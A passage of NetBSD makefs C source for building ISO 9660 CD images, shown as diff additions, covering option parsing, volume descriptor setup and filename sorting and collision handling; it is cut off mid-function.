ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ +/* + * Copyright (c) 1982, 1986, 1989, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if HAVE_NBTOOL_CONFIG_H +#include "nbtool_config.h" +#else +#include +#endif + +#include +#if defined(__RCSID) && !defined(__lint) +__RCSID("$NetBSD: cd9660.c,v 1.49 2015/06/17 01:05:41 christos Exp $"); +#endif /* !__lint */ + +#include +#include +#include +#include +#include + +#include "makefs.h" +#include "cd9660.h" +#include "cd9660/iso9660_rrip.h" +#include "cd9660/cd9660_archimedes.h" + +/* + * Global variables + */ + +static void cd9660_finalize_PVD(iso9660_disk *); +static cd9660node *cd9660_allocate_cd9660node(void); +static void cd9660_set_defaults(iso9660_disk *); +static int cd9660_arguments_set_string(const char *, const char *, int, + char, char *); +static void cd9660_populate_iso_dir_record( + struct _iso_directory_record_cd9660 *, u_char, u_char, u_char, + const char *); +static void cd9660_setup_root_node(iso9660_disk *); +static int cd9660_setup_volume_descriptors(iso9660_disk *); +#if 0 +static int cd9660_fill_extended_attribute_record(cd9660node *); +#endif +static void cd9660_sort_nodes(cd9660node *); +static int cd9660_translate_node_common(iso9660_disk *, cd9660node *); +static int cd9660_translate_node(iso9660_disk *, fsnode *, cd9660node *); +static int cd9660_compare_filename(const char *, const char *); +static void cd9660_sorted_child_insert(cd9660node *, cd9660node *); +static int cd9660_handle_collisions(iso9660_disk *, cd9660node *, int); +static cd9660node *cd9660_rename_filename(iso9660_disk *, cd9660node *, int, + int); +static void cd9660_copy_filenames(iso9660_disk *, cd9660node *); +static void cd9660_sorting_nodes(cd9660node *); +static int cd9660_count_collisions(cd9660node *); +static cd9660node *cd9660_rrip_move_directory(iso9660_disk *, cd9660node *); +static int cd9660_add_dot_records(iso9660_disk *, cd9660node *); + +static void cd9660_convert_structure(iso9660_disk *, fsnode *, cd9660node *, int, + int *, int *); +static void cd9660_free_structure(cd9660node *); +static int cd9660_generate_path_table(iso9660_disk *); +static int cd9660_level1_convert_filename(iso9660_disk *, const char *, char *, + int); +static int cd9660_level2_convert_filename(iso9660_disk *, const char *, char *, + int); +#if 0 +static int cd9660_joliet_convert_filename(iso9660_disk *, const char *, char *, + int); +#endif +static int cd9660_convert_filename(iso9660_disk *, const char *, char *, int); +static void cd9660_populate_dot_records(iso9660_disk *, cd9660node *); +static int64_t cd9660_compute_offsets(iso9660_disk *, cd9660node *, int64_t); +#if 0 +static int cd9660_copy_stat_info(cd9660node *, cd9660node *, int); +#endif +static cd9660node *cd9660_create_virtual_entry(iso9660_disk *, const char *, + cd9660node *, int, int); +static cd9660node *cd9660_create_file(iso9660_disk *, const char *, + cd9660node *, cd9660node *); +static cd9660node *cd9660_create_directory(iso9660_disk *, const char *, + cd9660node *, cd9660node *); +static cd9660node *cd9660_create_special_directory(iso9660_disk *, u_char, + cd9660node *); +static int cd9660_add_generic_bootimage(iso9660_disk *, const char *); + + +/* + * Allocate and initalize a cd9660node + * @returns struct cd9660node * Pointer to new node, or NULL on error + */ +static cd9660node * +cd9660_allocate_cd9660node(void) +{ + cd9660node *temp = ecalloc(1, sizeof(*temp)); + TAILQ_INIT(&temp->cn_children); + temp->parent = temp->dot_record = temp->dot_dot_record = NULL; + temp->ptnext = temp->ptprev = temp->ptlast = NULL; + temp->node = NULL; + temp->isoDirRecord = NULL; + temp->isoExtAttributes = NULL; + temp->rr_real_parent = temp->rr_relocated = NULL; + temp->su_tail_data = NULL; + return temp; +} + +int cd9660_defaults_set = 0; + +/** +* Set default values for cd9660 extension to makefs +*/ +static void +cd9660_set_defaults(iso9660_disk *diskStructure) +{ + /*Fix the sector size for now, though the spec allows for other sizes*/ + diskStructure->sectorSize = 2048; + + /* Set up defaults in our own structure */ + diskStructure->verbose_level = 0; + diskStructure->keep_bad_images = 0; + diskStructure->follow_sym_links = 0; + diskStructure->isoLevel = 2; + + diskStructure->rock_ridge_enabled = 0; + diskStructure->rock_ridge_renamed_dir_name = 0; + diskStructure->rock_ridge_move_count = 0; + diskStructure->rr_moved_dir = 0; + + diskStructure->archimedes_enabled = 0; + diskStructure->chrp_boot = 0; + + diskStructure->include_padding_areas = 1; + + /* Spec breaking functionality */ + diskStructure->allow_deep_trees = + diskStructure->allow_start_dot = + diskStructure->allow_max_name = + diskStructure->allow_illegal_chars = + diskStructure->allow_lowercase = + diskStructure->allow_multidot = + diskStructure->omit_trailing_period = 0; + + /* Make sure the PVD is clear */ + memset(&diskStructure->primaryDescriptor, 0, 2048); + + memset(diskStructure->primaryDescriptor.publisher_id, 0x20,128); + memset(diskStructure->primaryDescriptor.preparer_id, 0x20,128); + memset(diskStructure->primaryDescriptor.application_id, 0x20,128); + memset(diskStructure->primaryDescriptor.copyright_file_id, 0x20,37); + memset(diskStructure->primaryDescriptor.abstract_file_id, 0x20,37); + memset(diskStructure->primaryDescriptor.bibliographic_file_id, 0x20,37); + + strcpy(diskStructure->primaryDescriptor.system_id,"NetBSD"); + + cd9660_defaults_set = 1; + + /* Boot support: Initially disabled */ + diskStructure->has_generic_bootimage = 0; + diskStructure->generic_bootimage = NULL; + + diskStructure->boot_image_directory = 0; + /*memset(diskStructure->boot_descriptor, 0, 2048);*/ + + diskStructure->is_bootable = 0; + TAILQ_INIT(&diskStructure->boot_images); + LIST_INIT(&diskStructure->boot_entries); +} + +void +cd9660_prep_opts(fsinfo_t *fsopts) +{ + iso9660_disk *diskStructure = ecalloc(1, sizeof(*diskStructure)); + +#define OPT_STR(letter, name, desc) \ + { letter, name, NULL, OPT_STRBUF, 0, 0, desc } + +#define OPT_NUM(letter, name, field, min, max, desc) \ + { letter, name, &diskStructure->field, \ + sizeof(diskStructure->field) == 8 ? OPT_INT64 : \ + (sizeof(diskStructure->field) == 4 ? OPT_INT32 : \ + (sizeof(diskStructure->field) == 2 ? OPT_INT16 : OPT_INT8)), \ + min, max, desc } + +#define OPT_BOOL(letter, name, field, desc) \ + OPT_NUM(letter, name, field, 0, 1, desc) + + const option_t cd9660_options[] = { + OPT_NUM('l', "isolevel", isoLevel, + 1, 3, "ISO Level"), + OPT_NUM('v', "verbose", verbose_level, + 0, 2, "Turns on verbose output"), + + OPT_BOOL('h', "help", displayHelp, + "Show help message"), + OPT_BOOL('S', "follow-symlinks", follow_sym_links, + "Resolve symlinks in pathnames"), + OPT_BOOL('R', "rockridge", rock_ridge_enabled, + "Enable Rock-Ridge extensions"), + OPT_BOOL('C', "chrp-boot", chrp_boot, + "Enable CHRP boot"), + OPT_BOOL('K', "keep-bad-images", keep_bad_images, + "Keep bad images"), + OPT_BOOL('D', "allow-deep-trees", allow_deep_trees, + "Allow trees more than 8 levels"), + OPT_BOOL('a', "allow-max-name", allow_max_name, + "Allow 37 char filenames (unimplemented)"), + OPT_BOOL('i', "allow-illegal-chars", allow_illegal_chars, + "Allow illegal characters in filenames"), + OPT_BOOL('D', "allow-multidot", allow_multidot, + "Allow multiple periods in filenames"), + OPT_BOOL('o', "omit-trailing-period", omit_trailing_period, + "Omit trailing periods in filenames"), + OPT_BOOL('\0', "allow-lowercase", allow_lowercase, + "Allow lowercase characters in filenames"), + OPT_BOOL('\0', "archimedes", archimedes_enabled, + "Enable Archimedes structure"), + OPT_BOOL('\0', "no-trailing-padding", include_padding_areas, + "Include padding areas"), + + OPT_STR('A', "applicationid", "Application Identifier"), + OPT_STR('P', "publisher", "Publisher Identifier"), + OPT_STR('p', "preparer", "Preparer Identifier"), + OPT_STR('L', "label", "Disk Label"), + OPT_STR('V', "volumeid", "Volume Set Identifier"), + OPT_STR('B', "bootimage", "Boot image parameter"), + OPT_STR('G', "generic-bootimage", "Generic boot image param"), + OPT_STR('\0', "bootimagedir", "Boot image directory"), + OPT_STR('\0', "no-emul-boot", "No boot emulation"), + OPT_STR('\0', "no-boot", "No boot support"), + OPT_STR('\0', "hard-disk-boot", "Boot from hard disk"), + OPT_STR('\0', "boot-load-segment", "Boot load segment"), + + { .name = NULL } + }; + + fsopts->fs_specific = diskStructure; + fsopts->fs_options = copy_opts(cd9660_options); + + cd9660_set_defaults(diskStructure); +} + +void +cd9660_cleanup_opts(fsinfo_t *fsopts) +{ + free(fsopts->fs_specific); + free(fsopts->fs_options); +} + +static int +cd9660_arguments_set_string(const char *val, const char *fieldtitle, int length, + char testmode, char * dest) +{ + int len, test; + + if (val == NULL) + warnx("error: The %s requires a string argument", fieldtitle); + else if ((len = strlen(val)) <= length) { + if (testmode == 'd') + test = cd9660_valid_d_chars(val); + else + test = cd9660_valid_a_chars(val); + if (test) { + memcpy(dest, val, len); + if (test == 2) + cd9660_uppercase_characters(dest, len); + return 1; + } else + warnx("error: The %s must be composed of " + "%c-characters", fieldtitle, testmode); + } else + warnx("error: The %s must be at most 32 characters long", + fieldtitle); + return 0; +} + +/* + * Command-line parsing function + */ + +int +cd9660_parse_opts(const char *option, fsinfo_t *fsopts) +{ + int rv, i; + iso9660_disk *diskStructure = fsopts->fs_specific; + option_t *cd9660_options = fsopts->fs_options; + char buf[1024]; + const char *name, *desc; + + assert(option != NULL); + + if (debug & DEBUG_FS_PARSE_OPTS) + printf("%s: got `%s'\n", __func__, option); + + i = set_option(cd9660_options, option, buf, sizeof(buf)); + if (i == -1) + return 0; + + if (cd9660_options[i].name == NULL) + abort(); + + + name = cd9660_options[i].name; + desc = cd9660_options[i].desc; + switch (cd9660_options[i].letter) { + case 'h': + case 'S': + rv = 0; /* this is not handled yet */ + break; + case 'L': + rv = cd9660_arguments_set_string(buf, desc, 32, 'd', + diskStructure->primaryDescriptor.volume_id); + break; + case 'A': + rv = cd9660_arguments_set_string(buf, desc, 128, 'a', + diskStructure->primaryDescriptor.application_id); + break; + case 'P': + rv = cd9660_arguments_set_string(buf, desc, 128, 'a', + diskStructure->primaryDescriptor.publisher_id); + break; + case 'p': + rv = cd9660_arguments_set_string(buf, desc, 128, 'a', + diskStructure->primaryDescriptor.preparer_id); + break; + case 'V': + rv = cd9660_arguments_set_string(buf, desc, 128, 'a', + diskStructure->primaryDescriptor.volume_set_id); + break; + /* Boot options */ + case 'B': + if (buf[0] == '\0') { + warnx("The Boot Image parameter requires a valid boot" + " information string"); + rv = 0; + } else + rv = cd9660_add_boot_disk(diskStructure, buf); + break; + case 'G': + if (buf[0] == '\0') { + warnx("The Generic Boot Image parameter requires a" + " valid boot information string"); + rv = 0; + } else + rv = cd9660_add_generic_bootimage(diskStructure, buf); + break; + default: + if (strcmp(name, "bootimagedir") == 0) { + /* + * XXXfvdl this is unused. + */ + if (buf[0] == '\0') { + warnx("The Boot Image Directory parameter" + " requires a directory name"); + rv = 0; + } else { + diskStructure->boot_image_directory = + emalloc(strlen(buf) + 1); + /* BIG TODO: Add the max length function here */ + rv = cd9660_arguments_set_string(buf, desc, 12, + 'd', diskStructure->boot_image_directory); + } + } else if (strcmp(name, "no-emul-boot") == 0 || + strcmp(name, "no-boot") == 0 || + strcmp(name, "hard-disk-boot") == 0) { + /* RRIP */ + cd9660_eltorito_add_boot_option(diskStructure, name, 0); + rv = 1; + } else if (strcmp(name, "boot-load-segment") == 0) { + if (buf[0] == '\0') { + warnx("Option `%s' doesn't contain a value", + name); + rv = 0; + } else { + cd9660_eltorito_add_boot_option(diskStructure, + name, buf); + rv = 1; + } + } else + rv = 1; + } + return rv; +} + +/* + * Main function for cd9660_makefs + * Builds the ISO image file + * @param const char *image The image filename to create + * @param const char *dir The directory that is being read + * @param struct fsnode *root The root node of the filesystem tree + * @param struct fsinfo_t *fsopts Any options + */ +void +cd9660_makefs(const char *image, const char *dir, fsnode *root, + fsinfo_t *fsopts) +{ + int64_t startoffset; + int numDirectories; + uint64_t pathTableSectors; + int64_t firstAvailableSector; + int64_t totalSpace; + int error; + cd9660node *real_root; + iso9660_disk *diskStructure = fsopts->fs_specific; + + if (diskStructure->verbose_level > 0) + printf("%s: ISO level is %i\n", __func__, + diskStructure->isoLevel); + if (diskStructure->isoLevel < 2 && + diskStructure->allow_multidot) + errx(EXIT_FAILURE, "allow-multidot requires iso level of 2"); + + assert(image != NULL); + assert(dir != NULL); + assert(root != NULL); + + if (diskStructure->displayHelp) { + /* + * Display help here - probably want to put it in + * a separate function + */ + return; + } + + if (diskStructure->verbose_level > 0) + printf("%s: image %s directory %s root %p\n", __func__, + image, dir, root); + + /* Set up some constants. Later, these will be defined with options */ + + /* Counter needed for path tables */ + numDirectories = 0; + + /* Convert tree to our own format */ + /* Actually, we now need to add the REAL root node, at level 0 */ + + real_root = cd9660_allocate_cd9660node(); + real_root->isoDirRecord = emalloc(sizeof(*real_root->isoDirRecord)); + /* Leave filename blank for root */ + memset(real_root->isoDirRecord->name, 0, + ISO_FILENAME_MAXLENGTH_WITH_PADDING); + + real_root->level = 0; + diskStructure->rootNode = real_root; + real_root->type = CD9660_TYPE_DIR; + error = 0; + real_root->node = root; + cd9660_convert_structure(diskStructure, root, real_root, 1, + &numDirectories, &error); + + if (TAILQ_EMPTY(&real_root->cn_children)) { + errx(EXIT_FAILURE, "%s: converted directory is empty. " + "Tree conversion failed", __func__); + } else if (error != 0) { + errx(EXIT_FAILURE, "%s: tree conversion failed", __func__); + } else { + if (diskStructure->verbose_level > 0) + printf("%s: tree converted\n", __func__); + } + + /* Add the dot and dot dot records */ + cd9660_add_dot_records(diskStructure, real_root); + + cd9660_setup_root_node(diskStructure); + + if (diskStructure->verbose_level > 0) + printf("%s: done converting tree\n", __func__); + + /* non-SUSP extensions */ + if (diskStructure->archimedes_enabled) + archimedes_convert_tree(diskStructure->rootNode); + + /* Rock ridge / SUSP init pass */ + if (diskStructure->rock_ridge_enabled) { + cd9660_susp_initialize(diskStructure, diskStructure->rootNode, + diskStructure->rootNode, NULL); + } + + /* Build path table structure */ + diskStructure->pathTableLength = cd9660_generate_path_table( + diskStructure); + + pathTableSectors = CD9660_BLOCKS(diskStructure->sectorSize, + diskStructure->pathTableLength); + + firstAvailableSector = cd9660_setup_volume_descriptors(diskStructure); + if (diskStructure->is_bootable) { + firstAvailableSector = cd9660_setup_boot(diskStructure, + firstAvailableSector); + if (firstAvailableSector < 0) + errx(EXIT_FAILURE, "setup_boot failed"); + } + /* LE first, then BE */ + diskStructure->primaryLittleEndianTableSector = firstAvailableSector; + diskStructure->primaryBigEndianTableSector = + diskStructure->primaryLittleEndianTableSector + pathTableSectors; + + /* Set the secondary ones to -1, not going to use them for now */ + diskStructure->secondaryBigEndianTableSector = -1; + diskStructure->secondaryLittleEndianTableSector = -1; + + diskStructure->dataFirstSector = + diskStructure->primaryBigEndianTableSector + pathTableSectors; + if (diskStructure->verbose_level > 0) + printf("%s: Path table conversion complete. " + "Each table is %i bytes, or %" PRIu64 " sectors.\n", + __func__, + diskStructure->pathTableLength, pathTableSectors); + + startoffset = diskStructure->sectorSize*diskStructure->dataFirstSector; + + totalSpace = cd9660_compute_offsets(diskStructure, real_root, startoffset); + + diskStructure->totalSectors = diskStructure->dataFirstSector + + CD9660_BLOCKS(diskStructure->sectorSize, totalSpace); + + /* Disabled until pass 1 is done */ + if (diskStructure->rock_ridge_enabled) { + diskStructure->susp_continuation_area_start_sector = + diskStructure->totalSectors; + diskStructure->totalSectors += + CD9660_BLOCKS(diskStructure->sectorSize, + diskStructure->susp_continuation_area_size); + cd9660_susp_finalize(diskStructure, diskStructure->rootNode); + } + + + cd9660_finalize_PVD(diskStructure); + + /* Add padding sectors, just for testing purposes right now */ + /* diskStructure->totalSectors+=150; */ + + /* Debugging output */ + if (diskStructure->verbose_level > 0) { + printf("%s: Sectors 0-15 reserved\n", __func__); + printf("%s: Primary path tables starts in sector %" + PRId64 "\n", __func__, + diskStructure->primaryLittleEndianTableSector); + printf("%s: File data starts in sector %" + PRId64 "\n", __func__, diskStructure->dataFirstSector); + printf("%s: Total sectors: %" + PRId64 "\n", __func__, diskStructure->totalSectors); + } + + /* + * Add padding sectors at the end + * TODO: Clean this up and separate padding + */ + if (diskStructure->include_padding_areas) + diskStructure->totalSectors += 150; + + cd9660_write_image(diskStructure, image); + + if (diskStructure->verbose_level > 1) { + debug_print_volume_descriptor_information(diskStructure); + debug_print_tree(diskStructure, real_root, 0); + debug_print_path_tree(real_root); + } + + /* Clean up data structures */ + cd9660_free_structure(real_root); + + if (diskStructure->verbose_level > 0) + printf("%s: done\n", __func__); +} + +/* Generic function pointer - implement later */ +typedef int (*cd9660node_func)(cd9660node *); + +static void +cd9660_finalize_PVD(iso9660_disk *diskStructure) +{ + time_t tim; + + /* root should be a fixed size of 34 bytes since it has no name */ + memcpy(diskStructure->primaryDescriptor.root_directory_record, + diskStructure->rootNode->dot_record->isoDirRecord, 34); + + /* In RRIP, this might be longer than 34 */ + diskStructure->primaryDescriptor.root_directory_record[0] = 34; + + /* Set up all the important numbers in the PVD */ + cd9660_bothendian_dword(diskStructure->totalSectors, + (unsigned char *)diskStructure->primaryDescriptor.volume_space_size); + cd9660_bothendian_word(1, + (unsigned char *)diskStructure->primaryDescriptor.volume_set_size); + cd9660_bothendian_word(1, + (unsigned char *) + diskStructure->primaryDescriptor.volume_sequence_number); + cd9660_bothendian_word(diskStructure->sectorSize, + (unsigned char *) + diskStructure->primaryDescriptor.logical_block_size); + cd9660_bothendian_dword(diskStructure->pathTableLength, + (unsigned char *)diskStructure->primaryDescriptor.path_table_size); + + cd9660_731(diskStructure->primaryLittleEndianTableSector, + (u_char *)diskStructure->primaryDescriptor.type_l_path_table); + cd9660_732(diskStructure->primaryBigEndianTableSector, + (u_char *)diskStructure->primaryDescriptor.type_m_path_table); + + diskStructure->primaryDescriptor.file_structure_version[0] = 1; + + /* Pad all strings with spaces instead of nulls */ + cd9660_pad_string_spaces(diskStructure->primaryDescriptor.volume_id, 32); + cd9660_pad_string_spaces(diskStructure->primaryDescriptor.system_id, 32); + cd9660_pad_string_spaces(diskStructure->primaryDescriptor.volume_set_id, + 128); + cd9660_pad_string_spaces(diskStructure->primaryDescriptor.publisher_id, + 128); + cd9660_pad_string_spaces(diskStructure->primaryDescriptor.preparer_id, + 128); + cd9660_pad_string_spaces(diskStructure->primaryDescriptor.application_id, + 128); + cd9660_pad_string_spaces( + diskStructure->primaryDescriptor.copyright_file_id, 37); + cd9660_pad_string_spaces( + diskStructure->primaryDescriptor.abstract_file_id, 37); + cd9660_pad_string_spaces( + diskStructure->primaryDescriptor.bibliographic_file_id, 37); + + /* Setup dates */ + time(&tim); + cd9660_time_8426( + (unsigned char *)diskStructure->primaryDescriptor.creation_date, + tim); + cd9660_time_8426( + (unsigned char *)diskStructure->primaryDescriptor.modification_date, + tim); + + /* + cd9660_set_date(diskStructure->primaryDescriptor.expiration_date, now); + */ + memset(diskStructure->primaryDescriptor.expiration_date, '0' ,16); + diskStructure->primaryDescriptor.expiration_date[16] = 0; + + cd9660_time_8426( + (unsigned char *)diskStructure->primaryDescriptor.effective_date, + tim); +} + +static void +cd9660_populate_iso_dir_record(struct _iso_directory_record_cd9660 *record, + u_char ext_attr_length, u_char flags, + u_char name_len, const char * name) +{ + record->ext_attr_length[0] = ext_attr_length; + record->flags[0] = ISO_FLAG_CLEAR | flags; + record->file_unit_size[0] = 0; + record->interleave[0] = 0; + cd9660_bothendian_word(1, record->volume_sequence_number); + record->name_len[0] = name_len; + memset(record->name, '\0', sizeof (record->name)); + memcpy(record->name, name, name_len); + record->length[0] = 33 + name_len; + + /* Todo : better rounding */ + record->length[0] += (record->length[0] & 1) ? 1 : 0; +} + +static void +cd9660_setup_root_node(iso9660_disk *diskStructure) +{ + cd9660_populate_iso_dir_record(diskStructure->rootNode->isoDirRecord, + 0, ISO_FLAG_DIRECTORY, 1, "\0"); + +} + +/*********** SUPPORT FUNCTIONS ***********/ +static int +cd9660_setup_volume_descriptors(iso9660_disk *diskStructure) +{ + /* Boot volume descriptor should come second */ + int sector = 16; + /* For now, a fixed 2 : PVD and terminator */ + volume_descriptor *temp, *t; + + /* Set up the PVD */ + temp = emalloc(sizeof(*temp)); + temp->volumeDescriptorData = + (unsigned char *)&diskStructure->primaryDescriptor; + temp->volumeDescriptorData[0] = ISO_VOLUME_DESCRIPTOR_PVD; + temp->volumeDescriptorData[6] = 1; + temp->sector = sector; + memcpy(temp->volumeDescriptorData + 1, + ISO_VOLUME_DESCRIPTOR_STANDARD_ID, 5); + diskStructure->firstVolumeDescriptor = temp; + + sector++; + /* Set up boot support if enabled. BVD must reside in sector 17 */ + if (diskStructure->is_bootable) { + t = emalloc(sizeof(*t)); + t->volumeDescriptorData = ecalloc(1, 2048); + temp->next = t; + temp = t; + t->sector = 17; + if (diskStructure->verbose_level > 0) + printf("Setting up boot volume descriptor\n"); + cd9660_setup_boot_volume_descriptor(diskStructure, t); + sector++; + } + + /* Set up the terminator */ + t = emalloc(sizeof(*t)); + t->volumeDescriptorData = ecalloc(1, 2048); + temp->next = t; + t->volumeDescriptorData[0] = ISO_VOLUME_DESCRIPTOR_TERMINATOR; + t->next = 0; + t->volumeDescriptorData[6] = 1; + t->sector = sector; + memcpy(t->volumeDescriptorData + 1, + ISO_VOLUME_DESCRIPTOR_STANDARD_ID, 5); + + sector++; + return sector; +} + +#if 0 +/* + * Populate EAR at some point. Not required, but is used by NetBSD's + * cd9660 support + */ +static int +cd9660_fill_extended_attribute_record(cd9660node *node) +{ + node->isoExtAttributes = emalloc(sizeof(*node->isoExtAttributes)); + return 1; +} +#endif + +static int +cd9660_translate_node_common(iso9660_disk *diskStructure, cd9660node *newnode) +{ + time_t tim; + u_char flag; + char temp[ISO_FILENAME_MAXLENGTH_WITH_PADDING]; + + /* Now populate the isoDirRecord structure */ + memset(temp, 0, ISO_FILENAME_MAXLENGTH_WITH_PADDING); + + (void)cd9660_convert_filename(diskStructure, newnode->node->name, + temp, !(S_ISDIR(newnode->node->type))); + + flag = ISO_FLAG_CLEAR; + if (S_ISDIR(newnode->node->type)) + flag |= ISO_FLAG_DIRECTORY; + + cd9660_populate_iso_dir_record(newnode->isoDirRecord, 0, + flag, strlen(temp), temp); + + /* Set the various dates */ + + /* If we want to use the current date and time */ + time(&tim); + + cd9660_time_915(newnode->isoDirRecord->date, tim); + + cd9660_bothendian_dword(newnode->fileDataLength, + newnode->isoDirRecord->size); + /* If the file is a link, we want to set the size to 0 */ + if (S_ISLNK(newnode->node->type)) + newnode->fileDataLength = 0; + + return 1; +} + +/* + * Translate fsnode to cd9660node + * Translate filenames and other metadata, including dates, sizes, + * permissions, etc + * @param struct fsnode * The node generated by makefs + * @param struct cd9660node * The intermediate node to be written to + * @returns int 0 on failure, 1 on success + */ +static int +cd9660_translate_node(iso9660_disk *diskStructure, fsnode *node, + cd9660node *newnode) +{ + if (node == NULL) { + if (diskStructure->verbose_level > 0) + printf("%s: NULL node passed, returning\n", __func__); + return 0; + } + newnode->isoDirRecord = emalloc(sizeof(*newnode->isoDirRecord)); + /* Set the node pointer */ + newnode->node = node; + + /* Set the size */ + if (!(S_ISDIR(node->type))) + newnode->fileDataLength = node->inode->st.st_size; + + if (cd9660_translate_node_common(diskStructure, newnode) == 0) + return 0; + + /* Finally, overwrite some of the values that are set by default */ + cd9660_time_915(newnode->isoDirRecord->date, node->inode->st.st_mtime); + + return 1; +} + +/* + * Compares two ISO filenames + * @param const char * The first file name + * @param const char * The second file name + * @returns : -1 if first is less than second, 0 if they are the same, 1 if + * the second is greater than the first + */ +static int +cd9660_compare_filename(const char *first, const char *second) +{ + /* + * This can be made more optimal once it has been tested + * (the extra character, for example, is for testing) + */ + + int p1 = 0; + int p2 = 0; + char c1, c2; + /* First, on the filename */ + + while (p1 < ISO_FILENAME_MAXLENGTH_BEFORE_VERSION-1 + && p2 < ISO_FILENAME_MAXLENGTH_BEFORE_VERSION-1) { + c1 = first[p1]; + c2 = second[p2]; + if (c1 == '.' && c2 =='.') + break; + else if (c1 == '.') { + p2++; + c1 = ' '; + } else if (c2 == '.') { + p1++; + c2 = ' '; + } else { + p1++; + p2++; + } + + if (c1 < c2) + return -1; + else if (c1 > c2) { + return 1; + } + } + + if (first[p1] == '.' && second[p2] == '.') { + p1++; + p2++; + while (p1 < ISO_FILENAME_MAXLENGTH_BEFORE_VERSION - 1 + && p2 < ISO_FILENAME_MAXLENGTH_BEFORE_VERSION - 1) { + c1 = first[p1]; + c2 = second[p2]; + if (c1 == ';' && c2 == ';') + break; + else if (c1 == ';') { + p2++; + c1 = ' '; + } else if (c2 == ';') { + p1++; + c2 = ' '; + } else { + p1++; + p2++; + } + + if (c1 < c2) + return -1; + else if (c1 > c2) + return 1; + } + } + return 0; +} + +/* + * Insert a node into list with ISO sorting rules + * @param cd9660node * The head node of the list + * @param cd9660node * The node to be inserted + */ +static void +cd9660_sorted_child_insert(cd9660node *parent, cd9660node *cn_new) +{ + int compare; + cd9660node *cn; + struct cd9660_children_head *head = &parent->cn_children; + + /* TODO: Optimize? */ + cn_new->parent = parent; + + /* + * first will either be 0, the . or the .. + * if . or .., this means no other entry may be written before first + * if 0, the new node may be inserted at the head + */ + + TAILQ_FOREACH(cn, head, cn_next_child) { + /* + * Dont insert a node twice - + * that would cause an infinite loop + */ + if (cn_new == cn) + return; + + compare = cd9660_compare_filename(cn_new->isoDirRecord->name, + cn->isoDirRecord->name); + + if (compare == 0) + compare = cd9660_compare_filename(cn_new->node->name, + cn->node->name); + + if (compare < 0) + break; + } + if (cn == NULL) + TAILQ_INSERT_TAIL(head, cn_new, cn_next_child); + else + TAILQ_INSERT_BEFORE(cn, cn_new, cn_next_child); +} + +/* + * Called After cd9660_sorted_child_insert + * handles file collisions by suffixing each filname with ~n + * where n represents the files respective place in the ordering + */ +static int +cd9660_handle_collisions(iso9660_disk *diskStructure, cd9660node *colliding, + int past) +{ + cd9660node *iter, *next, *prev; + int skip; + int delete_chars = 0; + int temp_past = past; + int temp_skip; + int flag = 0; + cd9660node *end_of_range; + + for (iter = TAILQ_FIRST(&colliding->cn_children); + iter != NULL && (next = TAILQ_NEXT(iter, cn_next_child)) != NULL;) { + if (strcmp(iter->isoDirRecord->name, + next->isoDirRecord->name) != 0) { + iter = TAILQ_NEXT(iter, cn_next_child); + continue; + } + flag = 1; + temp_skip = skip = cd9660_count_collisions(iter); + end_of_range = iter; + while (temp_skip > 0) { + temp_skip--; + end_of_range = TAILQ_NEXT(end_of_range, cn_next_child); + } + temp_past = past; + while (temp_past > 0) { + if ((next = TAILQ_NEXT(end_of_range, cn_next_child)) != NULL) + end_of_range = next; + else if ((prev = TAILQ_PREV(iter, cd9660_children_head, cn_next_child)) != NULL) + iter = prev; + else + delete_chars++; + temp_past--; + } + skip += past; + iter = cd9660_rename_filename(diskStructure, iter, skip, + delete_chars); + } + return flag; +} + + +static cd9660node * +cd9660_rename_filename(iso9660_disk *diskStructure, cd9660node *iter, int num, + int delete_chars) +{ + int i = 0; + int numbts, dot, semi, digit, digits, temp, powers, multiplier, count; + char *naming; + int maxlength; + char *tmp; + + if (diskStructure->verbose_level > 0) + printf("Rename_filename called\n"); + + /* TODO : A LOT of chanes regarding 8.3 filenames */ + if (diskStructure->isoLevel == 1) + maxlength = 8; + else if (diskStructure->isoLevel == 2) + maxlength = 31; + else + maxlength = ISO_FILENAME_MAXLENGTH_BEFORE_VERSION; + + tmp = emalloc(ISO_FILENAME_MAXLENGTH_WITH_PADDING); + + while (i < num) { + powers = 1; + count = 0; + digits = 1; + multiplier = 1; + while (((int)(i / powers) ) >= 10) { + digits++; + powers = powers * 10; + } + + naming = iter->o_name; + + /* + while ((*naming != '.') && (*naming != ';')) { + naming++; + count++; + } + */ + + dot = -1; + semi = -1; + while (count < maxlength) { + if (*naming == '.') + dot = count; + else if (*naming == ';') { + semi = count; + break; + } + naming++; + count++; + } + + if ((count + digits) < maxlength) + numbts = count; + else + numbts = maxlength - (digits); + numbts -= delete_chars; + + /* 8.3 rules - keep the extension, add before the dot */ + + /* + * This code makes a bunch of assumptions. + * See if you can spot them all :) + */ + +#if 0 + if (diskStructure->isoLevel == 1) { + numbts = 8 - digits - delete_chars; + if (dot < 0) { + + } else { + if (dot < 8) { + memmove(&tmp[numbts],&tmp[dot],4); + } + } + } +#else + __USE(dot); + __USE(semi); + __USE(multiplier); +#endif + + /* (copying just the filename before the '.' */ + memcpy(tmp, (iter->o_name), numbts); + + /* adding the appropriate number following the name */ + 